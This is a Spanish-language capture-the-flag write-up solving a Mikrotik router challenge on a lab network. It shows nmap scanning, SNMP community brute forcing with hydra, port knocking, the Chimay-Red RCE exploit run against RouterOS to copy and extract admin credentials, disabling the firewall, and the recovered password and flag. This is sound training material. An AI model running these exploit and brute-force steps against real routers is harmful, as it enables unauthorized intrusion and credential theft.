Descripción

Find the flag in this Mikrotik Router.

Network: 10.0.0.0/24

Troubleshooting: if you have problems finding the router in the network, make sure to choose the option Include all network adapter MAC addresses while importing the VM.

Write-Up

En este reto se otorga una máquina virtual de un router Mikrotik y se pide obtener una flag. Como datos adicionales se sabe que la máquina está en la red 10.0.0.0/24.

El primer paso es importar la máquina y configurar la conexión de red de forma que tengamos un equipo que se pueda comunicar con ella, bien sea mediante la interfaz interna, una red host-only o cualquier otra. Tras esto, es necesario realizar un escaneo de la subred en busca de la IP del equipo.

root@kali:~# nmap -sP 10.0.0.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-06 17:39 EST
Nmap scan report for 10.0.0.10
Host is up (0.000072s latency).
MAC Address: 08:00:27:F6:D5:7D (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.0.1
Host is up.
Nmap done: 256 IP addresses (2 hosts up) scanned in 24.79 seconds

Con esto aparece la IP de la máquina virtual, pero no responde a un ping, por lo que puede que haya algún tipo de filtrado activo. Se vuelve a hacer uso de nmap para buscar algún puerto abierto.

root@kali:~# nmap -sSU 10.0.0.10
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-06 17:49 EST
Nmap scan report for 10.0.0.10
Host is up (0.00018s latency).
Not shown: 1000 filtered ports, 999 open|filtered ports
PORT    STATE SERVICE
161/udp open  snmp
MAC Address: 08:00:27:F6:D5:7D (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 45.79 seconds

Vemos que el puerto UDP 161 está abierto y este suele ser usado por el protocolo SNMP. Lo primero sería probar con las comunidades public y private, que son las más comunes y las usadas por defecto. Dado que no se obtiene respuesta alguna se ha de usar un ataque de diccionario para obtener una community válida. Existen varias herramientas válidas, en este caso se usará hydra.

hydra -P /usr/share/wordlists/rockyou.txt -t 16 -m 10.0.0.10 snmp

Como resultado se obtiene la community frisk123. Con ella ya se puede hacer un volcado de la MIB mediante snmpbulkget.

root@kali:~# snmpwalk -v2c -c frisk123 10.0.0.10 .1

Aparecen gran cantidad de datos, pero los que resultan más curiosos son los referidos al contacto y ubicación.

iso.3.6.1.2.1.1.4.0 = STRING: "CallMeAtHome:202-456-1111"
iso.3.6.1.2.1.1.6.0 = STRING: "NotAtWork"

Dado que una llamada telefónica no parece que sea el método de resolución, se prueba con port knocking, un mecanismo por el cual tras mandar paquetes SYN de TCP en un orden concreto a ciertos puertos se abren otros. Por tanto, se prueba a hacer un knocking del número de teléfono y volver a hacer el escaneo de puertos. Cabe recordar que la técnica de port knocking suele llevar un tiempo asociado tras el cual es necesario volver a hacer el port knocking para tener acceso a los puertos.

root@kali:~# knock 10.0.0.10 202 456 1111
root@kali:~# nmap -sSU 10.0.0.10
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-06 18:26 EST
Nmap scan report for 10.0.0.10
Host is up (0.00037s latency).
Not shown: 1998 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
161/udp open  snmp
MAC Address: 08:00:27:F6:D5:7D (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 67.67 seconds

Ahora se encuentra abierto el puerto de SSH. Si intentamos conectarnos vemos que este no responde a peticiones SSH, por lo que puede que haya otro servicio corriendo en ese puerto en su lugar.

root@kali:~# nmap -sV 10.0.0.10
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-06 18:32 EST
Nmap scan report for 10.0.0.10
Host is up (0.00015s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  http    MikroTik router config httpd
MAC Address: 08:00:27:F6:D5:7D (Oracle VirtualBox virtual NIC)
Service Info: OS: RouterOS; Device: router; CPE: cpe:/o:mikrotik:routeros

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.79 seconds

Vemos que se corresponde con un servicio HTTP. Si accedemos podemos ver como se trata del servicio de gestión web de Mikrotik. Dado que se requiere de un login surge la opción de obtener las credenciales por fuerza bruta o mediante alguna vulnerabilidad.

Nota: Para acceder desde Firefox es necesario añadir la cadena “network.security.ports.banned.override” con valor “22” en about:config.

Si se comprueban vulnerabilidades para la versión de RouterOS que se usa, se encuentra que existe un exploit que ataca precisamente al panel de control web al que tenemos acceso. Esta vulnerabilidad se puede encontrar en Github y permite la ejecución remota de código. Haciendo uso del extracto de código que aparece en el README del repositorio se pueden encontrar las instrucciones para realizar el ataque y obtener las credenciales.

root@kali:~/Chimay-Red# ./StackClash_x86.py 10.0.0.10 22 www_binary "cp /rw/store/user.dat /ram/winbox.idx"
Building ROP chain...
[+] Binary loaded
[+] Loading gadgets, please wait...
[+] Gadgets loaded !
The ROP chain is 932 bytes long (32768 bytes available)
Crash...
Connected
Sent
Sent
Opening 2 sockets
Connected
Connected
Stack clash...
Sent
Sent
Sent
Sending payload
Sent
Starting exploit
Done!
root@kali:~/Chimay-Red# curl -s http://10.0.0.10:22/winbox/index | ./tools/extract_user.py -
User: admin
Pass: 

User: admin
Pass: H0wC0u1d7hi58eAr3A1PA55

User: admin
Pass: H0wC0u1d7hi58eAr3A1PA55

A partir de aquí ya se obtiene acceso completo al router y se puede acceder tanto desde la propia máquina virtual como desde el portal web. El primer paso podría ser inhabilitar el firewall desde IP>Firewall y desactivar la última entrada o mediante:

[admin@Mikrotik] > ip firewall filter disable numbers=5 

Se podría seguir habilitando más servicios o comprobando algunos aspectos de configuración. Tras investigar un poco se encuentra el fichero flag.txt alojado en el propio router. Aunque este no cuenta con la flag.

The flag is not here. Go to other community.

Tras ver esto, lo más lógico es ver si hay alguna otra community definida además de la que ya obtuvimos. Y así es, esta nueva community es la flag.

hackiit_flag{57i11Ju57Y0uFri5k}

One thought to “Write-Up Hackiit CTF Mikrotik”

  • JlXip

    Con un volcado de memoria, si se sacan las strings y se busca por “admin”, se obtiene automáticamente la password, sin siquiera necesidad de conectar la máquina a una red interna.

    Reply

Leave a comment

Your email address will not be published. Required fields are marked *